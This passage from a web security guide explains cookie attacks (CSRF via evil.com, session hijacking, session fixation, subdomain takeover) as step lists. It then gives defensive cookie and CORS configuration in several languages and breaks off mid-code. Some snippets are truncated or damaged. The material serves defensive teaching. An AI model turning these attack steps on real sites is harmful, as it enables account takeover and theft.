``` **Without protection:** ```text 1. User authenticated to bank.com (has session cookie) 2. User visits evil.com 3. Evil.com submits form to bank.com 4. Browser automatically includes session cookie 5. Bank processes transfer (thinks it's legitimate) 6. Money stolen ``` **Protection with SameSite:** ```http Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict # Browser blocks cookie from being sent cross-site # Bank sees unauthenticated request # Transfer rejected ``` **Additional CSRF protections:** ```html
``` ```javascript // Server validates token app.post('/transfer', (req, res) => { if (req.body._csrf !== req.session.csrfToken) { return res.status(403).json({ error: 'Invalid CSRF token' }) } // Process transfer }) ``` **Best practices:** 1. Use `SameSite=Lax` or `Strict` for session cookies 2. Implement CSRF tokens for state-changing operations 3. Validate Origin and Referer headers 4. Require re-authentication for sensitive actions 5. Use custom headers for AJAX requests ### Session Hijacking Here the attacker gets hold of a session cookie and uses it to act as the user. **Attack vectors:** **1. Network sniffing (Man-in-the-Middle):** ```text User connects to http://example.com (no HTTPS) Attacker on same network: 1. Sniffs network traffic 2. Captures cookie: session=abc123 3. Replays cookie in their browser 4. Gains access to user's account ``` **Protection:** ```http # Secure attribute forces HTTPS Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Strict # Also use HSTS to force HTTPS Strict-Transport-Security: max-age=31536000; includeSubDomains ``` **2. XSS-based theft:** ```javascript // Attacker injects script ``` **Protection:** ```http Set-Cookie: session=abc123; HttpOnly; Secure ``` **3. Session fixation:** ```text Attacker scenario: 1. Attacker gets session ID: session=attacker_known_id 2. Tricks victim into using this session ID 3. Victim logs in (session ID unchanged) 4. Attacker uses known session ID to access victim's account ``` **Protection:** ```javascript // Regenerate session ID on login app.post('/login', async (req, res, next) => { const user = await validateCredentials(req.body) if (!user) return res.status(401).send('Invalid credentials') // Regenerate session ID req.session.regenerate((err) => { if (err) return next(err) req.session.userId = user.id res.redirect('/dashboard') }) }) ``` **Best practices:** 1. Always use HTTPS in production 2. Set `Secure` attribute on all sensitive cookies 3. Regenerate session IDs after authentication 4. Implement session timeout and idle timeout 5. Consider binding sessions to extra signals (IP, User-Agent), keeping in mind that mobile users change IP addresses often 6. Provide logout functionality that invalidates sessions ### Cookie Theft via Subdomain Takeover Take over one of your subdomains and an attacker receives every cookie scoped to the parent domain. **Attack scenario:** ```text Setup: - Main app: app.example.com - Cookie: session=abc123; Domain=.example.com - Abandoned subdomain: old.example.com Attack: 1. Attacker claims old.example.com (forgotten/expired) 2. Attacker sets up malicious site on old.example.com 3. User visits old.example.com 4. Browser sends session cookie (Domain=.example.com includes all subdomains) 5. Attacker steals cookie 6. Attacker uses cookie on app.example.com ``` **Protection:** ```http # Don't set Domain attribute (most restrictive) Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict # If you must use subdomains, be specific Set-Cookie: session=abc123; Domain=app.example.com; HttpOnly; Secure ``` **Additional protections:** 1. Regularly audit and remove unused subdomains 2. Use CAA DNS records to control certificate issuance 3. Monitor for unauthorized subdomain creation 4. Use separate domains for untrusted content 5. Consider cookie prefixes for additional security ## Cookie Prefixes Cookie name prefixes make the browser enforce security rules for you: a cookie whose name starts with one is rejected unless it meets the prefix's requirements. ### \_\_Secure- Prefix A `__Secure-` cookie must carry the `Secure` attribute and be set from an HTTPS origin. **Usage:** ```http Set-Cookie: __Secure-session=abc123; Secure; Path=/ ``` **Requirements:** - Must include `Secure` attribute - Must be set over HTTPS - Cannot be set over HTTP **Rejected examples:** ```http # Rejected: Missing Secure attribute Set-Cookie: __Secure-session=abc123; Path=/ # Rejected: Sent over HTTP HTTP/1.1 200 OK Set-Cookie: __Secure-session=abc123; Secure; Path=/ ``` **Benefits:** ```javascript // Prevents downgrade attacks // Even if HTTP is somehow accessed, __Secure- cookies won't be sent ``` ### \_\_Host- Prefix `__Host-` is the strictest prefix. It locks the cookie to a single host. **Usage:** ```http Set-Cookie: __Host-session=abc123; Secure; Path=/; HttpOnly; SameSite=Strict ``` **Requirements:** - Must include `Secure` attribute - Must be set over HTTPS - Must NOT include `Domain` attribute (restricts to exact domain) - Must have `Path=/` **Benefits:** ```http # Prevents subdomain attacks Set-Cookie: __Host-session=abc123; Secure; Path=/ # This cookie can ONLY be: # - Set by the exact domain (no subdomains) # - Sent to the exact domain (no subdomains) # - Transmitted over HTTPS # - Available on all paths ``` **Example comparison:** ```http # Without prefix - vulnerable to subdomain attacks Set-Cookie: session=abc123; Domain=.example.com; Secure # With __Host- prefix - protected Set-Cookie: __Host-session=abc123; Secure; Path=/ # Can only be set by and sent to exact domain ``` **Best practices:** Use `__Host-` prefix for critical authentication cookies: ```http Set-Cookie: __Host-session=abc123; Secure; Path=/; HttpOnly; SameSite=Strict; Max-Age=3600 ``` ## Secure Cookie Configuration Examples ### Maximum Security (Banking, Healthcare, Admin) ```http Set-Cookie: __Host-session=abc123; Secure; Path=/; HttpOnly; SameSite=Strict; Max-Age=900 ``` **Explanation:** - `__Host-` prefix: Strictest domain binding - `Secure`: HTTPS only - `Path=/`: Available on all paths - `HttpOnly`: No JavaScript access - `SameSite=Strict`: No cross-site requests - `Max-Age=900`: 15-minute timeout **Server implementation (Node.js):** ```javascript app.post('/login', (req, res) => { if (validateCredentials(req.body)) { const sessionId = generateSecureSessionId() res.cookie('__Host-session', sessionId, { secure: true, httpOnly: true, sameSite: 'strict', maxAge: 900000, // 15 minutes in milliseconds path: '/' }) res.redirect('/dashboard') } }) ``` ### High Security (General Web Applications) ```http Set-Cookie: __Secure-session=abc123; Secure; HttpOnly; SameSite=Lax; Max-Age=86400; Path=/ ``` **Explanation:** - `__Secure-` prefix: Must be over HTTPS - `Secure`: HTTPS only - `HttpOnly`: No JavaScript access - `SameSite=Lax`: Allows top-level navigation - `Max-Age=86400`: 24-hour timeout - `Path=/`: Available on all paths **Server implementation (Express):** ```javascript const express = require('express') const session = require('express-session') app.use( session({ name: '__Secure-session', secret: process.env.SESSION_SECRET, cookie: { secure: true, httpOnly: true, sameSite: 'lax', maxAge: 86400000 // 24 hours }, resave: false, saveUninitialized: false }) ) ``` ### Cross-Domain Integration (Widgets, OAuth) ```http Set-Cookie: widget_session=abc123; Secure; HttpOnly; SameSite=None; Max-Age=3600 ``` **Explanation:** - No prefix (needs cross-domain support) - `Secure`: Required with SameSite=None - `HttpOnly`: Prevents JavaScript access - `SameSite=None`: Allows cross-site requests - `Max-Age=3600`: 1-hour timeout **Important:** Reach for `SameSite=None` only when a real cross-site feature needs it. **Server implementation (OAuth callback):** ```javascript app.get('/oauth/callback', (req, res) => { const token = exchangeCodeForToken(req.query.code) res.cookie('oauth_token', token, { secure: true, httpOnly: true, sameSite: 'none', // Allows cross-site OAuth flow maxAge: 3600000, domain: '.example.com' // If needed for subdomains }) res.redirect('/dashboard') }) ``` ### Remember Me Functionality ```http # Session cookie (short-lived) Set-Cookie: __Host-session=abc123; Secure; HttpOnly; SameSite=Strict; Path=/ # Remember me token (long-lived) Set-Cookie: __Secure-remember=xyz789; Secure; HttpOnly; SameSite=Strict; Max-Age=2592000; Path=/ ``` **Server implementation:** ```javascript app.post('/login', async (req, res) => { if (validateCredentials(req.body)) { const sessionId = generateSecureSessionId() // Session cookie res.cookie('__Host-session', sessionId, { secure: true, httpOnly: true, sameSite: 'strict', path: '/' // No Max-Age = session cookie }) // Remember me token (if checkbox checked) if (req.body.rememberMe) { const rememberToken = await generateRememberToken(user.id) res.cookie('__Secure-remember', rememberToken, { secure: true, httpOnly: true, sameSite: 'strict', maxAge: 2592000000, // 30 days path: '/' }) } res.redirect('/dashboard') } }) // Middleware to restore session from remember token app.use(async (req, res, next) => { if (!req.cookies['__Host-session'] && req.cookies['__Secure-remember']) { const userId = await validateRememberToken(req.cookies['__Secure-remember']) if (userId) { // Create new session req.session.regenerate((err) => { req.session.userId = userId next() }) } else { // Invalid token, clear it res.clearCookie('__Secure-remember', { path: '/', secure: true }) next() } } else { next() } }) ``` ## Server Implementation Examples ### Node.js (Express) **Basic secure session:** ```javascript const express = require('express') const session = require('express-session') const app = express() app.use( session({ name: '__Host-session', secret: process.env.SESSION_SECRET, cookie: { secure: process.env.NODE_ENV === 'production', httpOnly: true, sameSite: 'strict', maxAge: 3600000 // 1 hour }, resave: false, saveUninitialized: false }) ) ``` **Custom cookie with all security attributes:** ```javascript app.post('/login', (req, res) => { if (validateUser(req.body)) { // Set secure session cookie res.cookie('__Host-session', generateSessionId(), { secure: true, httpOnly: true, sameSite: 'strict', maxAge: 3600000, path: '/' }) // Set user preferences (less sensitive) res.cookie('preferences', JSON.stringify(user.preferences), { secure: true, sameSite: 'lax', maxAge: 31536000000 // 1 year }) res.json({ success: true }) } }) // Logout - clear all cookies app.post('/logout', (req, res) => { res.clearCookie('__Host-session', { path: '/', secure: true }) res.clearCookie('preferences') req.session.destroy() res.redirect('/') }) ``` ### Python (Flask) **Basic secure session:** ```python from flask import Flask, session, make_response from datetime import timedelta app = Flask(__name__) app.secret_key = os.environ.get('SECRET_KEY') # Session cookie configuration app.config.update( SESSION_COOKIE_SECURE=True, SESSION_COOKIE_HTTPONLY=True, SESSION_COOKIE_SAMESITE='Strict', SESSION_COOKIE_NAME='__Host-session', PERMANENT_SESSION_LIFETIME=timedelta(hours=1) ) @app.route('/login', methods=['POST']) def login(): if validate_credentials(request.form): session['user_id'] = user.id session.permanent = True return redirect('/dashboard') return 'Invalid credentials', 401 ``` **Custom cookie with security attributes:** ```python from flask import Flask, make_response from datetime import datetime, timedelta @app.route('/login', methods=['POST']) def login(): if validate_user(request.form): response = make_response(redirect('/dashboard')) # Secure session cookie response.set_cookie( '__Host-session', value=generate_session_id(), secure=True, httponly=True, samesite='Strict', max_age=3600, path='/' ) # Remember me token if request.form.get('remember_me'): response.set_cookie( '__Secure-remember', value=generate_remember_token(), secure=True, httponly=True, samesite='Strict', max_age=2592000, # 30 days path='/' ) return response @app.route('/logout', methods=['POST']) def logout(): response = make_response(redirect('/')) response.set_cookie('__Host-session', '', expires=0, secure=True, path='/') response.set_cookie('__Secure-remember', '', expires=0, secure=True, path='/') return response ``` ### PHP **Basic secure session:** ```php 3600, 'path' => '/', 'domain' => '', 'secure' => true, 'httponly' => true, 'samesite' => 'Strict' ]); session_start(); // Login if (validate_credentials($_POST)) { session_regenerate_id(true); $_SESSION['user_id'] = $user['id']; header('Location: /dashboard'); } ?> ``` **Custom cookie with security attributes:** ```php time() + 3600, 'path' => '/', 'domain' => '', 'secure' => true, 'httponly' => true, 'samesite' => 'Strict' ] ); // Remember me token if (isset($_POST['remember_me'])) { setcookie( '__Secure-remember', $remember_token, [ 'expires' => time() + 2592000, // 30 days 'path' => '/', 'domain' => '', 'secure' => true, 'httponly' => true, 'samesite' => 'Strict' ] ); } // Logout - delete cookies setcookie('__Host-session', '', ['expires' => time() - 3600, 'path' => '/', 'secure' => true]); setcookie('__Secure-remember', '', ['expires' => time() - 3600, 'path' => '/', 'secure' => true]); ?> ``` ### Java (Spring Boot) **Application configuration:** ```java import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.session.web.http.CookieSerializer; import org.springframework.session.web.http.DefaultCookieSerializer; @Configuration public class SessionConfig { @Bean public CookieSerializer cookieSerializer() { DefaultCookieSerializer serializer = new DefaultCookieSerializer(); serializer.setCookieName("__Host-session"); serializer.setCookiePath("/"); serializer.setUseSecureCookie(true); serializer.setUseHttpOnlyCookie(true); serializer.setSameSite("Strict"); serializer.setCookieMaxAge(3600); // 1 hour return serializer; } } ``` **Controller with custom cookies:** ```java import org.springframework.web.bind.annotation.*; import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletResponse; @RestController public class AuthController { @PostMapping("/login") public ResponseEntity login( @RequestBody LoginRequest request, HttpServletResponse response) { if (validateCredentials(request)) { // Session cookie Cookie sessionCookie = new Cookie("__Host-session", generateSessionId()); sessionCookie.setSecure(true); sessionCookie.setHttpOnly(true); sessionCookie.setPath("/"); sessionCookie.setMaxAge(3600); response.addCookie(sessionCookie); // Remember me token if (request.isRememberMe()) { Cookie rememberCookie = new Cookie("__Secure-remember", generateToken()); rememberCookie.setSecure(true); rememberCookie.setHttpOnly(true); rememberCookie.setPath("/"); rememberCookie.setMaxAge(2592000); // 30 days response.addCookie(rememberCookie); } return ResponseEntity.ok().build(); } return ResponseEntity.status(401).build(); } @PostMapping("/logout") public ResponseEntity logout(HttpServletResponse response) { Cookie sessionCookie = new Cookie("__Host-session", ""); sessionCookie.setMaxAge(0); sessionCookie.setPath("/"); sessionCookie.setSecure(true); response.addCookie(sessionCookie); Cookie rememberCookie = new Cookie("__Secure-remember", ""); rememberCookie.setMaxAge(0); rememberCookie.setPath("/"); rememberCookie.setSecure(true); response.addCookie(rememberCookie); return ResponseEntity.ok().build(); } } ``` ### Go **Basic secure session:** ```go package main import ( "net/http" "time" ) func loginHandler(w http.ResponseWriter, r *http.Request) { if validateCredentials(r.FormValue("username"), r.FormValue("password")) { // Create secure session cookie cookie := &http.Cookie{ Name: "__Host-session", Value: generateSessionID(), Path: "/", MaxAge: 3600, // 1 hour Secure: true, HttpOnly: true, SameSite: http.SameSiteStrictMode, } http.SetCookie(w, cookie) http.Redirect(w, r, "/dashboard", http.StatusSeeOther) } } func logoutHandler(w http.ResponseWriter, r *http.Request) { // Delete session cookie cookie := &http.Cookie{ Name: "__Host-session", Value: "", Path: "/", MaxAge: -1, Secure: true, HttpOnly: true, SameSite: http.SameSiteStrictMode, } http.SetCookie(w, cookie) http.Redirect(w, r, "/", http.StatusSeeOther) } ``` **Advanced session management:** ```go package main import ( "crypto/rand" "encoding/base64" "net/http" "time" ) func generateSecureToken() (string, error) { b := make([]byte, 32) _, err := rand.Read(b) if err != nil { return "", err } return base64.URLEncoding.EncodeToString(b), nil } func setSecureSessionCookie(w http.ResponseWriter, sessionID string) { cookie := &http.Cookie{ Name: "__Host-session", Value: sessionID, Path: "/", MaxAge: 3600, Secure: true, HttpOnly: true, SameSite: http.SameSiteStrictMode, } http.SetCookie(w, cookie) } func setRememberMeCookie(w http.ResponseWriter, token string) { cookie := &http.Cookie{ Name: "__Secure-remember", Value: token, Path: "/", MaxAge: 2592000, // 30 days Secure: true, HttpOnly: true, SameSite: http.SameSiteStrictMode, } http.SetCookie(w, cookie) } func loginHandler(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) return } username := r.FormValue("username") password := r.FormValue("password") rememberMe := r.FormValue("remember_me") == "true" if validateUser(username, password) { sessionID, _ := generateSecureToken() setSecureSessionCookie(w, sessionID) if rememberMe { token, _ := generateSecureToken() setRememberMeCookie(w, token) } http.Redirect(w, r, "/dashboard", http.StatusSeeOther) } else { http.Error(w, "Invalid credentials", http.StatusUnauthorized) } } ``` ## Real-World Security Scenarios ### Scenario 1: E-commerce Application **Requirements:** - User sessions must be highly secure - Shopping cart should persist across visits - Remember me functionality for convenience **Implementation:** ```javascript // Session cookie - short-lived, strict security res.cookie('__Host-session', sessionId, { secure: true, httpOnly: true, sameSite: 'strict', maxAge: 1800000 // 30 minutes }) // Shopping cart - longer-lived, non-sensitive res.cookie('__Secure-cart', cartId, { secure: true, httpOnly: true, sameSite: 'lax', maxAge: 604800000 // 7 days }) // Remember me - long-lived, validated server-side res.cookie('__Secure-remember', rememberToken, { secure: true, httpOnly: true, sameSite: 'strict', maxAge: 2592000000 // 30 days }) ``` ### Scenario 2: Banking Application **Requirements:** - Maximum security - Short session timeout - No cross-site requests - Frequent re-authentication **Implementation:** ```javascript // Ultra-secure session configuration res.cookie('__Host-session', sessionId, { secure: true, httpOnly: true, sameSite: 'strict', maxAge: 600000 // 10 minutes only }) // Sensitive action requires fresh authentication app.post('/transfer', requireRecentAuth, (req, res) => { const lastAuthTime = req.session.lastAuthTime const fiveMinutesAgo = Date.now() - 300000 if (lastAuthTime < fiveMinutesAgo) { return res.status(403).json({ error: 'Please re-authenticate for this action' }) } // Process transfer }) // Re-authentication updates timestamp app.post('/re-auth', (req, res) => { if (validatePassword(req.body.password)) { req.session.lastAuthTime = Date.now() res.json({ success: true }) } }) ``` ### Scenario 3: Multi-Domain SSO **Requirements:** - Single sign-on across subdomains - Secure token exchange - Support for multiple applications **Implementation:** ```javascript // Central auth domain: auth.example.com app.post('/login', (req, res) => { if (validateCredentials(req.body)) { // Master session on auth domain res.cookie('__Host-auth-session', masterSessionId, { secure: true, httpOnly: true, sameSite: 'strict', maxAge: 3600000 }) // SSO token for subdomain apps const ssoToken = generateSSOToken(user.id) // Redirect to app with token res.redirect(`https://app.example.com/sso?token=${ssoToken}`) } }) // Application domain: app.example.com app.get('/sso', async (req, res) => { const ssoToken = req.query.token // Validate token with auth service const userId = await validateSSOToken(ssoToken) if (userId) { // Create session on app domain res.cookie('__Host-app-session', generateSessionId(), { secure: true, httpOnly: true, sameSite: 'strict', maxAge: 3600000 }) res.redirect('/dashboard') } }) ``` ### Scenario 4: Embedded Widget **Requirements:** - Widget embedded in third-party sites - Cross-origin requests necessary - Minimal security compromise **Implementation:** ```javascript // Widget must use SameSite=None app.post('/widget/init', (req, res) => { res.cookie('widget_session', sessionId, { secure: true, httpOnly: true, sameSite: 'none', // Required for cross-site embedding maxAge: 3600000 }) res.json({ widgetId: 'abc123' }) }) // Additional security measures app.use((req, res, next) => { // Validate origin against whitelist const origin = req.headers.origin const allowedOrigins = getAllowedWidgetOrigins() if (!allowedOrigins.includes(origin)) { return res.status(403).json({ error: 'Origin not allowed' }) } // Add CORS headers res.header('Access-Control-Allow-Origin', origin) res.header('Access-Control-Allow-Credentials', 'true') next() }) ``` ## Troubleshooting Common Cookie Security Issues ### Issue 1: Cookies Not Being Sent **Symptoms:** - Session appears lost on every request - User logged out immediately after login - Cookies visible in DevTools but not sent **Common causes and solutions:** **Cause 1: Secure cookie on a plain HTTP page:** ```http # Problem: page served over http:// (other than localhost) # Browsers won't set or send a Secure cookie on an insecure origin Set-Cookie: session=abc123; Secure; HttpOnly # Solution: serve the site over HTTPS and keep Secure Set-Cookie: session=abc123; Secure; HttpOnly ``` **Cause 2: SameSite too restrictive:** ```http # Problem: SameSite=Strict blocks navigation from external sites Set-Cookie: session=abc123; SameSite=Strict # Solution: Use Lax for general applications Set-Cookie: session=abc123; SameSite=Lax ``` **Cause 3: Domain mismatch:** ```http # Problem: Cookie set for different domain Set-Cookie: session=abc123; Domain=api.example.com # User visits app.example.com - cookie not sent # Solution: Don't set Domain or use correct domain Set-Cookie: session=abc123; HttpOnly; Secure ``` **Cause 4: Path mismatch:** ```http # Problem: Cookie restricted to specific path Set-Cookie: admin_session=abc123; Path=/admin # Request to /api/users - cookie not sent # Solution: Use Path=/ for general cookies Set-Cookie: session=abc123; Path=/ ``` ### Issue 2: SameSite=None Not Working **Symptoms:** - Cross-site requests fail - Widgets don't work when embedded - OAuth flows broken **Error message:** ```text Cookie "widget_session" has been rejected because it is in a cross-site context and its SameSite is "Lax" or "Strict". ``` **Solution:** ```http # Wrong: SameSite=None without Secure Set-Cookie: widget_session=abc123; SameSite=None # Right: SameSite=None requires Secure Set-Cookie: widget_session=abc123; Secure; SameSite=None ``` **Additional requirements:** - Must be served over HTTPS - Some older browsers don't support SameSite=None - Consider browser compatibility and fallbacks ### Issue 3: Cookies Accessible to JavaScript (Security Risk) **Symptoms:** - document.cookie shows session token - XSS vulnerability present - Security audit fails **Problem:** ```http # Missing HttpOnly attribute Set-Cookie: session=abc123; Secure ``` ```javascript // JavaScript can access cookie console.log(document.cookie) // "session=abc123" ``` **Solution:** ```http # Add HttpOnly attribute Set-Cookie: session=abc123; Secure; HttpOnly ``` ```javascript // JavaScript cannot access HttpOnly cookies console.log(document.cookie) // Cookie hidden ``` ### Issue 4: Cookie Not Persisting Across Browser Restarts **Symptoms:** - User logged out when browser closes - "Remember me" not working - Session lost on restart **Cause:** Session cookie (no Max-Age or Expires) instead of persistent cookie. ```http # Session cookie - discarded when the browser session ends (restored by session restore) Set-Cookie: session=abc123; Secure; HttpOnly # Persistent cookie - survives browser restart Set-Cookie: session=abc123; Secure; HttpOnly; Max-Age=2592000 ``` **Implementation:** ```javascript // Without "remember me" res.cookie('session', sessionId, { secure: true, httpOnly: true // No maxAge - session cookie }) // With "remember me" res.cookie('session', sessionId, { secure: true, httpOnly: true, maxAge: req.body.rememberMe ? 2592000000 : undefined }) ``` ### Issue 5: `__Host-` or `__Secure-` Prefix Rejected **Symptoms:** - Cookie not being set despite correct-looking code - Browser silently ignores the cookie - No obvious error in the Console **Problem with \_\_Secure-:** ```http # Rejected: Not served over HTTPS HTTP/1.1 200 OK Set-Cookie: __Secure-session=abc123; Secure # Rejected: Missing Secure attribute Set-Cookie: __Secure-session=abc123 ``` **Problem with \_\_Host-:** ```http # Rejected: Includes Domain attribute Set-Cookie: __Host-session=abc123; Secure; Domain=example.com; Path=/ # Rejected: Path is not / Set-Cookie: __Host-session=abc123; Secure; Path=/admin # Rejected: Missing Secure attribute Set-Cookie: __Host-session=abc123; Path=/ ``` **Correct usage:** ```http # __Secure- cookie Set-Cookie: __Secure-session=abc123; Secure; HttpOnly; SameSite=Strict # __Host- cookie (strictest) Set-Cookie: __Host-session=abc123; Secure; HttpOnly; SameSite=Strict; Path=/ ``` ### Issue 6: CSRF Attacks Despite Cookie Security **Symptoms:** - CSRF protection bypassed - Unwanted actions performed - SameSite not preventing attacks **Problem:** SameSite doesn't cover everything. Requests from a sibling subdomain count as same-site, older browsers may not enforce it, and `Lax` still sends cookies on top-level GET navigations. **Additional protections needed:** ```javascript // 1. CSRF tokens for state-changing operations // csrf() stands in for your CSRF middleware (the old csurf package is deprecated) app.use(csrf()) app.get('/form', (req, res) => { res.render('form', { csrfToken: req.csrfToken() }) }) app.post('/action', (req, res) => { // CSRF token automatically validated // Process action }) // 2. Verify Origin/Referer headers app.use((req, res, next) => { if (['POST', 'PUT', 'DELETE'].includes(req.method)) { const source = req.headers.origin || req.headers.referer const allowedOrigins = ['https://example.com'] let sourceOrigin = null try { sourceOrigin = source ? new URL(source).origin : null } catch {} // Compare exact origins: startsWith() would accept https://example.com.evil.net if (!sourceOrigin || !allowedOrigins.includes(sourceOrigin)) { return res.status(403).json({ error: 'Invalid origin' }) } } next() }) // 3. Re-authentication for sensitive actions app.post('/delete-account', requirePassword, (req, res) => { // Additional password check }) ``` ### Debugging Checklist **When cookies aren't working:** - [ ] Check browser DevTools > Application > Cookies - [ ] Verify cookie attributes match requirements - [ ] Ensure HTTPS is used when Secure attribute is set - [ ] Check Domain and Path match current URL - [ ] Verify SameSite setting allows the request type - [ ] Look for JavaScript errors in Console - [ ] Check Network tab for Set-Cookie headers - [ ] Verify browser supports cookie prefixes (if used) - [ ] Clear cookies and test fresh - [ ] Test in different browser/incognito mode **Security audit checklist:** - [ ] All session cookies have HttpOnly attribute - [ ] All cookies use Secure attribute in production - [ ] SameSite is set appropriately (Strict or Lax) - [ ] Cookie lifetimes are as short as possible - [ ] Sensitive cookies use the `__Host-` or `__Secure-` prefix - [ ] Domain attribute is not set (or very specific) - [ ] Path attribute limits exposure where appropriate - [ ] CSRF protection is implemented - [ ] Session regeneration on privilege changes - [ ] Secure cookie deletion on logout ## Best Practices Summary ### For All Applications 1. **Always use HTTPS in production** - Required for Secure attribute 2. **Set HttpOnly on authentication cookies** - Prevents XSS cookie theft 3. **Use SameSite=Lax as minimum** - Basic CSRF protection 4. **Minimize cookie lifetime** - Reduce exposure window 5. **Use cookie prefixes** - \_\_Host- for maximum security 6. **Regenerate session IDs** - On login and privilege changes 7. **Implement proper logout** - Clear cookies and invalidate sessions 8. **Monitor and audit** - Regular security reviews ### Development vs Production **Development:** ```javascript // More permissive for local testing res.cookie('session', sessionId, { secure: false, // HTTP allowed locally httpOnly: true, sameSite: 'lax' }) ``` **Production:** ```javascript // Strict security in production res.cookie('__Host-session', sessionId, { secure: true, httpOnly: true, sameSite: 'strict', maxAge: 900000, // 15 minutes path: '/' }) ``` ### Security Layers Cookie attributes are one layer. A secure app stacks several: 1. **Cookie attributes** - HttpOnly, Secure, SameSite 2. **HTTPS/TLS** - Encrypted transmission 3. **CSRF tokens** - Additional request validation 4. **Content Security Policy** - Mitigate XSS 5. **Input validation** - Prevent injection attacks 6. **Rate limiting** - Prevent brute force 7. **Session management** - Timeout, rotation, validation 8. **Monitoring** - Detect anomalies and attacks ## Related Resources - **Headers**: [`Set-Cookie`](https://howhttpworks.com/headers/set-cookie), [`Cookie`](https://howhttpworks.com/headers/cookie), [`Content-Security-Policy`](https://howhttpworks.com/headers/content-security-policy), [`Strict-Transport-Security`](https://howhttpworks.com/headers/strict-transport-security) - **Security**: [CORS](https://howhttpworks.com/guides/cors), [HTTPS and TLS](https://howhttpworks.com/guides/https-and-tls), [Authentication](https://howhttpworks.com/guides/authentication) - **Concepts**: [Sessions and State](https://howhttpworks.com/guides/sessions-and-state), [Request Lifecycle](https://howhttpworks.com/guides/request-lifecycle) --- # Cross-Origin Resource Sharing (CORS) > Master Cross-Origin Resource Sharing (CORS) for secure cross-origin HTTP requests. Learn preflight requests, headers, credentials, and common error solutions. Source: https://howhttpworks.com/guides/cors Last reviewed: 2026-10-05 > **TL;DR:** CORS is how a server tells the browser that JavaScript from another origin may read its responses, mainly with `Access-Control-Allow-Origin`. Requests with JSON bodies, `Authorization` or methods like PUT and DELETE get an OPTIONS preflight first; simpler requests go straight through, and the browser only blocks reading the response. CORS errors are fixed on the server, so check the headers on both the preflight and the real response, including errors. ## Introduction An origin is the scheme, host and port together. `https://app.example.com` and `https://api.example.com` are different origins, even though they're the same site. The path doesn't matter. | Request URL, from `https://app.example.com` | Same origin? | | --- | --- | | `https://app.example.com/api/profile` | Yes; only the path differs. | | `https://api.example.com/profile` | No; the host differs. | | `http://app.example.com/profile` | No; the scheme differs. | | `https://app.example.com:8443/profile` | No; the port differs. | CORS is enforced by browsers, for APIs like Fetch and XMLHttpRequest. It isn't authentication, and curl ignores it completely. ## Why CORS Exists Browsers stop a page on one origin from reading data from another; that's the same-origin policy. CORS lets a server opt in and say "this origin may read my responses." It's about reading, not sending. A plain GET or a form-style POST reaches your server and runs before the browser decides whether the page gets to see the response. So your server still has to authorize every action and protect cookie-authenticated writes against CSRF. A CORS error in the console doesn't mean the request did nothing. ## How CORS Works On a cross-origin fetch, the browser adds an `Origin` header. When the response comes back, the browser checks its CORS headers before handing the body to JavaScript. The relevant headers on a response without credentials (examples on this page are trimmed): ```http Access-Control-Allow-Origin: https://app.example.com Vary: Origin Content-Type: application/json ``` If your server picks the allow-origin value based on the request's Origin, send `Vary: Origin` on every response from that endpoint, including ones that grant nothing. That stops a cache from serving one origin's response to another. It's a caching instruction, not a security control. ## Simple Requests vs Preflight Requests A "simple request" is one that skips preflight under the Fetch rules. It has to use a safelisted method (GET, HEAD, or POST) and only safelisted headers: Accept, Accept-Language, Content-Language, Content-Type with certain values, and Range with a single byte range. The values have length and syntax limits too, so the header name alone isn't enough. The allowed Content-Type values are `application/x-www-form-urlencoded`, `multipart/form-data`, and `text/plain`. JSON isn't one of them, which is why so many API calls get preflighted. PUT, PATCH, DELETE, an Authorization header, or any custom header also trigger a preflight on a cross-origin fetch, unless the browser has a cached permission. Same-origin requests never get preflighted, JSON or not. ```javascript await fetch('https://api.example.com/profile', { headers: { Authorization: 'Bearer example-token' } }) ``` Before that GET, the browser asks permission to send an `authorization` header. The preflight lists header names only; the token itself isn't sent. See the [Fetch CORS protocol](https://fetch.spec.whatwg.org/#http-cors-protocol). ## Essential CORS Headers `Access-Control-Allow-Origin` takes one origin or `*`. A comma-separated list doesn't work. To support several origins, check the request's Origin against an allowlist, echo back the one that matched, and send `Vary: Origin`. `Access-Control-Allow-Methods` answers the preflight's method question; the regular `Allow` header doesn't count. `Access-Control-Allow-Headers` lists the non-safelisted request headers you accept. List `Authorization` by name, because `*` never covers it, with or without cookies. By default JavaScript can only read a few safelisted response headers. `Access-Control-Expose-Headers` adds more. To let it read ETag and Location: ```http Access-Control-Expose-Headers: ETag, Location ``` Set-Cookie is the exception: Fetch always hides it from JavaScript, whatever you list. `Access-Control-Max-Age` says how many seconds the browser may cache a preflight answer. Without it (or with an invalid value), Fetch uses five seconds. Browsers also apply their own upper limit, so asking for 86400 won't necessarily get you a day. This preflight cache is separate from the HTTP cache. ## Credentialed Requests Fetch defaults to `credentials: 'same-origin'`, so cookies aren't sent cross-origin unless you ask: ```javascript const response = await fetch('https://api.example.com/profile', { credentials: 'include' }) if (!response.ok) throw new Error(`HTTP ${response.status}`) console.log(await response.json()) ``` With `credentials: 'include'`, the response has to name the exact origin and send `Access-Control-Allow-Credentials: true`. A `*` origin fails, even if there's no cookie to send. The preflight for such a request needs the same two headers, even though the preflight itself carries no cookies. `Access-Control-Allow-Credentials` only lets JavaScript read the response. It doesn't change the request's credentials mode, and it can't make the browser send a cookie it would otherwise withhold. Cookie scope, SameSite, Secure and third-party cookie policy all still apply. A cross-site fetch only sends a cookie marked `SameSite=None; Secure`. Two subdomains of the same site are different origins but the same site, so they don't need that. Setting an Authorization header yourself triggers a preflight, but it doesn't switch the request to `credentials: 'include'`. Those are two separate things. ## Server Implementation Examples This runnable Express server shares a public, profile-shaped response with two allowed origins. It shows the CORS headers only; there's no login or authorization. Replace the origins with your real frontend. ```javascript const express = require('express') const app = express() const origins = new Set(['https://app.example.com', 'https://admin.example.com']) app.use('/profile', (req, res, next) => { res.vary('Origin') const origin = req.get('Origin') if (origins.has(origin)) { res.set({ 'Access-Control-Allow-Origin': origin, 'Access-Control-Allow-Credentials': 'true', 'Access-Control-Expose-Headers': 'ETag' }) } next() }) app.options('/profile', (req, res) => { if (!origins.has(req.get('Origin'))) return res.status(403).end() res.set({ 'Access-Control-Allow-Methods': 'GET, HEAD', 'Access-Control-Allow-Headers': 'Authorization, Content-Type', 